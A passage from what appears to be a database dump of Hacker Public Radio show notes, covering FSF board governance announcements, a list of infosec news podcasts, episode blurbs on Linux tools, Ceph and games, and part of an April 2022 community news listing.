caused.\r\n</p>\r\n<p>\r\nI’ve learned something from this about how to be kind to people who have been hurt. In the future, that will help me be kind to people in other situations, which is what I hope to do.\r\n</p>\r\n<hr />\r\n<h1 id=\"the-role-of-the-fsfs-board-of-directors\">The role of the FSF’s board of directors</h1>\r\n<p>Published on Mar 22, 2021 10:55 PM by <a href=\"https://www.fsf.org/author/fsfweb\">Free Software Foundation</a></p>\r\n<p>\r\nThe FSF board believes it is its responsibility – to free software community members, donors, movement organizations, and the general public – to be a model of good governance.\r\n</p>\r\n<p>\r\nGood governance starts with the board of directors, which oversees the organization and is ultimately responsible for its success. The board’s role (and legal obligation) is to oversee the management of the organization and ensure that the organization fulfills its mission.\r\n</p>\r\n<p>\r\nThe board enables good management by overseeing the President and executive director, who in turn manages staff. The board’s oversight role includes decision-making, monitoring and leadership.\r\n</p>\r\n<p>\r\nIn its decision-making capacity, the board:\r\n</p>\r\n<ul>\r\n<li>\r\n<p>\r\ndetermines the mission and purposes of the FSF;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\ndrives the FSF’s long-term strategy and goals;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nformulates and regularly reviews significant corporate policies;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nselects and evaluates the President, executive director and other officers, including determining compensation based on relevant data for the paid positions; and\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\ncreates and maintains effective succession plans for the FSF’s leadership positions.\r\n</p>\r\n</li>\r\n</ul>\r\n<p>\r\nIn its monitoring capacity, the board:\r\n</p>\r\n<ul>\r\n<li>\r\n<p>\r\nevaluates how well the FSF is fulfilling its mission, values, goals, and vision, including evaluating relevant risks;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nmonitors the FSF’s financial performance and use of assets, including approving the annual budget;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nconducts regular reviews of the FSF’s internal controls and financial reporting;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\noversees compliance with legal obligations and organizational policies, such as those against conflicts of interest; and\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\ndiscusses its own performance as the leading governing body.\r\n</p>\r\n</li>\r\n</ul>\r\n<p>\r\nIn its leadership capacity, the board:\r\n</p>\r\n<ul>\r\n<li>\r\n<p>\r\nmaintains the legal and ethical integrity of the organization;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nenhances and protects the FSF’s public image;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nadvises and provides guidance to the President, executive director, and other officers, drawing on relevant board member expertise;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nparticipates in fundraising to develop resources for a robust and strong organization;\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nrecruits and orients new board members; and\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nworks with the President and executive director to help communicate the FSF’s direction and activities to the public.\r\n</p>\r\n</li>\r\n</ul>\r\n<p>\r\nFSF board members are not compensated for their board service, and are not permitted to receive any personal financial benefit from FSF funds or other assets. Board members may be reimbursed for reasonable and appropriate expenses incurred in connection with their board service.\r\n</p>\r\n<p>\r\nFor further information, see the <a href=\"https://static.fsf.org/nosvn/fsf-amended-bylaws-current.pdf\">FSF’s bylaws</a>.\r\n</p>\r\n<hr />\r\n<h1 id=\"preliminary-board-statement-on-fsf-governance\">Preliminary board statement on FSF governance</h1>\r\n<p>Published on Mar 25, 2021 12:00 AM by <a href=\"https://www.fsf.org/author/fsfweb\">Free Software Foundation</a></p>\r\n<p>\r\nOn Wednesday, the FSF board of directors committed to a series of changes related to organizational governance and the appointment of members to its board of directors:\r\n</p>\r\n<ul>\r\n<li>\r\n<p>\r\nWe will adopt a transparent, formal process for identifying candidates and appointing new board members who are wise, capable, and committed to the FSF’s mission. We will establish ways for our supporters to contribute to the discussion.\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nWe will require all existing board members to go through this process as soon as possible, in stages, to decide which of them remain on the board.\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nWe will add a staff representative to the board of directors. The FSF staff will elect that person.\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nThe directors will consult with legal counsel about changes to the organization’s by-laws to implement these changes. We have set ourselves a deadline of thirty days for making these changes.\r\n</p>\r\n</li>\r\n</ul>\r\n<p>\r\nThe board will meet again Thursday, March 25, to consider further decisions.\r\n</p>\r\n<hr />\r\n<h1 id=\"update-on-work-to-improve-governance-at-the-fsf\">Update on work to improve governance at the FSF</h1>\r\n<p>Published on Mar 25, 2021 11:52 PM by <a href=\"https://www.fsf.org/author/fsfweb\">Free Software Foundation</a></p>\r\n<h3>\r\nSummary of actions from the board and voting member meetings of Thursday, March 25, 2021:\r\n</h3>\r\n<p>\r\nThe voting members unanimously agreed to elect a union staff member, selected by the FSF union staff, to be a full voting member and director. The first such representative will be elected as soon as the staff chooses one. The FSF will adopt by-law changes to implement this as a requirement going forward.\r\n</p>\r\n<p>\r\nThe board of directors is soliciting proposals from qualified consultants to assist in creating a transparent, formal process for identifying candidates and appointing board members who are wise, capable, and committed to the FSF’s mission. The FSF intends to rewrite the by-laws in a way that binds the organization to transparency in its choice of directors. This process will establish ways for FSF associate members and supporters to meaningfully contribute to the discussion. The board is looking for proposals to be received by Friday, April 2, 2021. Please email <a href=\"mailto:info@fsf.org\">info@fsf.org</a> with the subject “Director Transparency Engagement” for details.\r\n</p>\r\n<p>\r\nFSF president Geoffrey Knauth announced, “I commit myself to resign as an FSF officer, director, and voting member as soon as there is a clear path for new leadership assuring continuity of the FSF’s mission and compliance with fiduciary requirements.”\r\n</p>\r\n<p>\r\nThe board of directors will continue this work at its next meeting, scheduled for Sunday, March 28.\r\n</p>\r\n<p>\r\n<p><a href=\"https://www.fsf.org/news/preliminary-board-statement-on-fsf-governance\">Read yesterday’s preliminary board statement.</a></p>\r\n<hr />\r\n<h1 id=\"welcoming-ian-kelling-to-staff-seat-on-fsfs-board-of-directors\">Welcoming Ian Kelling to staff seat on FSF’s board of directors</h1>\r\n<p>by <a href=\"https://www.fsf.org/author/fsfweb\">Free Software Foundation</a> Published on Mar 28, 2021 09:21 PM</p>\r\n<p>\r\n<em>by Geoffrey Knauth, FSF president</em>\r\n</p>\r\n<p>\r\nAs the next step to implement the plan outlined in the board’s announcements last <a href=\"https://www.fsf.org/news/preliminary-board-statement-on-fsf-governance\">Wednesday</a> and <a href=\"https://www.fsf.org/news/update-on-work-to-improve-governance-at-the-fsf\">Friday</a> to improve governance at the FSF, at today’s meeting we officially elected the staff’s selection for their newly created seats on the board of directors and voting members.\r\n</p>\r\n<p>\r\nUnion staff selected senior systems administrator Ian Kelling to be the first in this role. At the end of today’s board meeting, we officially welcomed Ian to both bodies. The board and voting members look forward to having the participation of the staff via this designated seat in our future deliberations. This is an important step in the FSF’s effort to recognize and support new leadership, to connect that leadership to the community, to improve transparency and accountability, and to build trust. There is still considerable work to be done, and that work will continue.\r\n</p>\r\n<p>\r\nI have always known that the FSF has good and hard-working staff, but with the success of LibrePlanet 2021, and in talking with staff during the controversy that unfolded immediately afterward, I have no doubt it is essential to involve staff much more in decision-making and strategy discussions. The advice they have offered in the last week alone has been invaluable. I sincerely believe this step in improving FSF governance will lead to better outcomes going forward. In all my interactions with Ian so far, he has demonstrated abundant wisdom and intelligence.\r\n</p>\r\n<p>\r\nKat Walsh announced her resignation from the board of directors last week and it became effective at the end of our board meeting on Sunday, March 28, 2021. Kat has been a great help in discussing difficult issues over the years. We appreciate the expert knowledge and service she gave us and offer Kat our best wishes and sincere thanks.\r\n</p>\r\n<p>\r\nThe FSF board will meet again on Monday, March 29, 2021.\r\n</p>\r\n<hr />\r\n<p>Note: This show was submitted anonymously by Ken.</p>\r\n',393,0,0,'CC-BY-SA','FSF, RMS',0,0,1),
(3324,'2021-04-29','Infosec Podcasts Part 1  News and Current Events ',438,'Presenting my favorite information security news and current events podcasts','<p>Inoffensive in every region of the world</p>\r\n<p>Hello, again. This is Trey. This is part 1 of a 6 part series related to information security podcasts.</p>\r\n<p>Why am I recording this series?</p>\r\n<p>\"What podcasts you listen to\" was on the list of recommended topics</p>\r\n<p>I am passionate about information security</p>\r\n<p>We desperately need people to fill infosec jobs in many different specialties</p>\r\n<p>Infosec is a rapidly changing field, and it is critical to stay current</p>\r\n<p>As a result I listen to TONS of infosec related podcasts</p>\r\n<p>Because there are so many podcasts to list, I will break them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 – News &amp; Current Events</li>\r\n<li>Part 2 – General Information Security</li>\r\n<li>Part 3 - Career &amp; Personal Development</li>\r\n<li>Part 4 – Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks &amp; Attacks</li>\r\n<li>Technical Information &amp; Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 – Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-1\">Part 1</h2>\r\n<p>Infosec News / current events podcasts – Why?</p>\r\n<p>Stay aware of what is happening for your own personal growth</p>\r\n<p>If you already work in IT or Infosec, you can have early awareness about attacks to look for indicators of compromise, or learn new tools and techniques</p>\r\n<p>You can get a head start answering questions from leadership, when they ask about something they heard on the news or from a peer.</p>\r\n<ul>\r\n<li><p>SANS Internet Stormcenter Stormcast - Dr. Johannes Ullrich (Daily M-F)<br />\r\nThe latest Cybersecurity news<br />\r\n<a href=\"https://isc.sans.edu/podcast.html\" class=\"uri\">https://isc.sans.edu/podcast.html</a></p></li>\r\n<li><p>Cyber Security Headlines (Daily M-F)<br />\r\nDaily podcast with the latest Cybersecurity news<br />\r\nCaps off Friday with a weekly review<br />\r\n<a href=\"https://cisoseries.com/category/podcast/cyber-security-headlines/\" class=\"uri\">https://cisoseries.com/category/podcast/cyber-security-headlines/</a><br />\r\n</p></li>\r\n<li><p>The Cyberwire - Dave Bitner (Daily M-F – Drops in afternoon)<br />\r\nDaily podcast with the latest Cybersecurity news<br />\r\n<a href=\"https://thecyberwire.com/podcasts\" class=\"uri\">https://thecyberwire.com/podcasts</a></p></li>\r\n<li><p>Shared Security Show – Tom Eston, Scott Wright, &amp; Kevin Johnson (Weekly)<br />\r\nNews, tips, advice, and interviews with cybersecurity professionals and privacy experts.<br />\r\n<a href=\"https://sharedsecurity.net/\" class=\"uri\">https://sharedsecurity.net/</a></p></li>\r\n<li><p>Transatlantic Cable Podcast – Sponsored by Kaspersky with Jeff Esposito &amp; David Buxton (Weekly)<br />\r\nA weekly infosec news discussion<br />\r\n<a href=\"https://www.kaspersky.com/blog/kaspersky-transatlantic-podcast/\" class=\"uri\">https://www.kaspersky.com/blog/kaspersky-transatlantic-podcast/</a></p></li>\r\n<li><p>Security Now- Steve Gibson, Leo Laporte (Weekly)<br />\r\nPart of the TWIT TV Network<br />\r\nSteve Gibson, the man who coined the term spyware and created the first anti-spyware program, creator of Spinrite and ShieldsUP, discusses the hot topics in security today.<br />\r\nSpinrite has helped me salvage many a hard drive over the last few decades. I\'m a big fan of Steve Gibson<br />\r\nDoes a great job of simplifying technical topics.<br />\r\n<a href=\"https://twit.tv/shows/security-now\" class=\"uri\">https://twit.tv/shows/security-now</a></p></li>\r\n<li><p>The Security Ledger – Paul Roberts (Weekly)<br />\r\nA weekly podcast mixing news and interviews<br />\r\n<a href=\"https://securityledger.com/\" class=\"uri\">https://securityledger.com/</a></p></li>\r\n<li><p>Risky Business podcast - Patrick Gray and Adam Boileau (Weekly)<br />\r\nDiscusses the week\'s security news from the Land Down Under.<br />\r\nAlso includes periodic vendor interviews.<br />\r\nSometimes the discussion may get a bit political.<br />\r\n<a href=\"https://risky.biz/\" class=\"uri\">https://risky.biz/</a></p></li>\r\n</ul>\r\n<p>I hope that this episode has introduced you to some new sources of information. Give some of them a try, and I would love to get your feedback.</p>\r\n<p>Thank you for listening.</p>\r\n',394,74,0,'CC-BY-SA','infosec, podcasts, security',0,0,1),
(3322,'2021-04-27','Tune system performance with tuned',1361,'Introduction to tuned and tuned-adm','<p>\r\nThe tuned-adm command switches profiles to help you fine-tune your Linux system\'s performance.\r\n</p>\r\n\r\n<p>\r\nFor more about performance, see <a target=\"_blank\" href=\"https://01.org/powertop/blogs/ayates1/2016/powertop-linuxcon-2015\">Powertop Linuxcon 2015 presentation</a> and maybe listen to <a href=\"https://gnuworldorder.info/#379\" target=\"_blank\">my GNU World Order episode</a>\r\n</p>',78,0,0,'CC-BY-SA','linux',0,0,1),
(3323,'2021-04-28','The alternate Internet you never knew existed',1757,'I changed my DNS server and you won\'t believe what happened next.','<p>\r\nA not-brief introduction to OpenNIC, the open and democratic domain name and number registry.\r\n</p>',78,0,0,'CC-BY-SA','ICANN, IANA, DNS',0,0,1),
(3325,'2021-04-30','Games and rules',1499,'Talking about the conundrum of rules-light and rules-heavy game systems','<p>There are three nodes. You can choose two.\r\n</p>\r\n\r\n<pre>\r\n<code>\r\n         o Rules\r\n        / \\\r\n       /   \\\r\nTrust ó-----ò Competition\r\n</code>\r\n</pre>',78,95,0,'CC-BY-SA','rpg,rules,game',0,0,1),
(3329,'2021-05-06','Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panel',5069,'An eclectic panel of Linux contributors discuss technology, anger management and other things','<p>In this episode, our two ageing heroes host an eclectic panel of kernel\r\ncontributors of a small, mostly unknown operating system called \"Linux\".\r\nThe panelists hail from all over the planet (sadly, no money or love would\r\nbuy Richard\'s or Linus\' way onto that panel :-) but the discussion proves\r\nmore than interesting regardless of these uber-nerds being absent. All\r\nwill be revealed including the true age of Linux, one of Chris\' secret\r\nobsessions (hint: it\'s not software bugs), Linus Torvald\'s thought process\r\nand evolution as such. Never mind Linux\'s second future high-level\r\nprogramming language... Plus: a philosophical discussion of the social\r\nimpact of insulting from a pan-cultural perspective. Don\'t miss out on\r\nthis!</p>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Linux Kernel Archives: <a href=\"https://www.kernel.org\" target=\"_blank\">https://www.kernel.org</a>\r\n</li>\r\n<li>Device Tree System documentation: <a href=\"https://www.kernel.org/doc/html/latest/devicetree/usage-model.html\" target=\"_blank\">https://www.kernel.org/doc/html/latest/devicetree/usage-model.html</a>\r\n</li>\r\n<li>Linux BDFL: <a href=\"https://torvalds-family.blogspot.com\" target=\"_blank\">https://torvalds-family.blogspot.com</a>\r\n</li>\r\n<li>Linux kernel police: <a href=\"https://www.youtube.com/watch?v=zOcwNm7sqlw\" target=\"_blank\">https://www.youtube.com/watch?v=zOcwNm7sqlw</a>\r\n</li>\r\n<li>MythBusters: <a href=\"https://www.imdb.com/title/tt0383126\" target=\"_blank\">https://www.imdb.com/title/tt0383126</a>\r\n</li>\r\n<li>Conflict Resolution Network: <a href=\"https://www.crnhq.org\" target=\"_blank\">https://www.crnhq.org</a>\r\n</li>\r\n<li>Sage Sharp (left the project due to the nature of Linus\' comments): <a href=\"https://sage.thesharps.us\" target=\"_blank\">https://sage.thesharps.us</a>\r\n</li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Linux Kernel',0,0,1),
(3327,'2021-05-04','Looking into Ceph storage solution',818,'We look into what a Ceph implementation entails, what specific use-cases it excels at. ','<p>We look into what a Ceph implementation entails, what specific use-cases it excels at.</p>\r\n<p>And we also talk about the building blocks of the system. What kind of hosts is required for different Ceph daemons and the requirements regarding disk space, CPU, and memory.</p>\r\n<p>The services we are talking about are OSD (Object storage daemon), Monitors, Managers, and MDS (MetaData Services).</p>\r\n<p>Ceph can be used as an S3 compatible object store, disk storage, and even a file system, depending on your setup.</p>\r\n<p>If you are interested in diving deeper into the topic, I have created a couple of videos on the subject that might interest you.</p>\r\n<ul>\r\n<li>Getting started with Ceph storage cluster setup - <a href=\"https://youtu.be/Uvbp3mtOltw\" class=\"uri\">https://youtu.be/Uvbp3mtOltw</a></li>\r\n<li>Using the amazon s3 object storage API for local storage on Ceph - <a href=\"https://youtu.be/XtfjYp8ikaU\" class=\"uri\">https://youtu.be/XtfjYp8ikaU</a></li>\r\n<li>Doing an automatic upgrade of Ceph cluster using CephAdm - <a href=\"https://youtu.be/N1ARNNvv1zY\" class=\"uri\">https://youtu.be/N1ARNNvv1zY</a></li>\r\n<li>Looking into a manual upgrade of Ceph to Pacific - <a href=\"https://youtu.be/RrrS4UU5U6o\" class=\"uri\">https://youtu.be/RrrS4UU5U6o</a></li>\r\n</ul>\r\n',382,0,0,'CC-BY-SA','ceph, storage solution, amazon s3',0,0,1),
(3335,'2021-05-14','For your consideration, the Anarcho Book Club',1348,'This is an example of the podcast that was featured on GNU World Order','<ul>\r\n<li><a href=\"https://gnuworldorder.info/audiophile/gnuWorldOrder_397.opus\">Interview with Herag, from the Anarcho Book Club podcast. </a></li>\r\n<li><a href=\"https://anarchobook.club/pages/about.html\">About the Anarcho Book Club</a></li>\r\n</ul>',30,75,1,'CC-BY-SA','Anarcho Book Club,anarchism,gnuWorldOrder,gwo',0,0,1),
(3586,'2022-05-02','HPR Community News for April 2022',3986,'HPR Volunteers talk about shows released and comments posted in April 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=403\" target=\"_blank\">Lee</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=404\" target=\"_blank\">Sarah</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3565\" target=\"_blank\">3565</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-04-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3565\" target=\"_blank\">Heavy Hacking down in the quarry. </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\" target=\"_blank\">timttmy</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3566\" target=\"_blank\">3566</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-04-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3566\" target=\"_blank\">HPR Community News for March 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3567\" target=\"_blank\">3567</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-04-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3567\" target=\"_blank\">What is NVMe™ and why is it important?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3568\" target=\"_blank\">3568</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-04-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3568\" target=\"_blank\">PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3569\" target=\"_blank\">3569</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-04-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3569\" target=\"_blank\">Linux Inlaws S01E53: Rust Marketing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3570\" target=\"_blank\">3570</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-04-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3570\" target=\"_blank\">The Filesystem</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3571\" target=\"_blank\">3571</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-04-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3571\" target=\"_blank\">The Meatball Mystery</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=196\" target=\"_blank\">Windigo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3572\" target=\"_blank\">3572</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-04-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3572\" target=\"_blank\">More about NVMe</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3573\" target=\"_blank\">3573</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-04-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3573\" target=\"_blank\">Home Coffee Roasting, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3574\" target=\"_blank\">3574</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-04-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3574\" target=\"_blank\">Local Talking Newspapers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=403\" target=\"_blank\">Lee</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3575\" target=\"_blank\">3575</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-04-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3575\" target=\"_blank\">An Edinburgh Blether</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3576\" target=\"_blank\">3576</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-04-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3576\" target=\"_blank\">First impressions of Ubuntu 22.04 as a daily driver.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3577\" target=\"_blank\">3577</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-04-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3577\" target=\"_blank\">Hello and how I got into tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=404\" target=\"_blank\">Sarah</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3578\" target=\"_blank\">3578</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-04-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3578\" target=\"_blank\">Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3579\" target=\"_blank\">3579</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-04-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3579\" target=\"_blank\">PINN is not NOOBS</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3580\" target=\"_blank\">3580</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-04-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3580\" target=\"_blank\">RAW images</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3581\" target=\"_blank\">3581</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-04-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3581\" target=\"_blank\">My daily Linux driver.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3582\" target=\"_blank\">3582</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-04-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3582\" target=\"_blank\">Rolling a new character</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3583\" target=\"_blank\">3583</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-04-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3583\" target=\"_blank\">takov751 and dnt talk about browsers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3584\" target=\"_blank\">3584</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-04-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3584\" target=\"_blank\">The collective history of RAID controller brands</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3585\" target=\"_blank\">3585</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-04-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3585\" target=\"_blank\">Freedom of speech in open source, Part 2.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 41 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 10 comments on\n7 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881#comments\" target=\"_blank\">hpr2881</a></strong>\n(2019-08-19) \"<em>Automatically split album into tracks in Audacity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2881#5\" target=\"_blank\">Comment 5</a>:\nArcher72 on 2022-04-25:\n\"And now I know, and will forget again\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3378#comments\" target=\"_blank\">hpr3378</a></strong>\n(2021-07-14) \"<em>A bit of my experience with Starlink internet service</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3378#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-04-06:\n\"Congratulations!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3534#comments\" target=\"_blank\">hpr3534</a></strong>\n(2022-02-17) \"<em>Vernier caliper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3534#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-04-16:\n\"Taking me back\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3554#comments\" target=\"_blank\">hpr3554</a></strong>\n(2022-03-17) \"<em>Guide to the Science and Technology Section of Bitchute</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3554#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-04-01:\n\"that motor\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3559#comments\" target=\"_blank\">hpr3559</a></strong>\n(2022-03-24) \"<em>Linux Inlaws S01E52: The Zig Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3559#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2022-04-18:\n\"The nitty-gritty of US non-profits\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3559#2\" target=\"_blank\">Comment 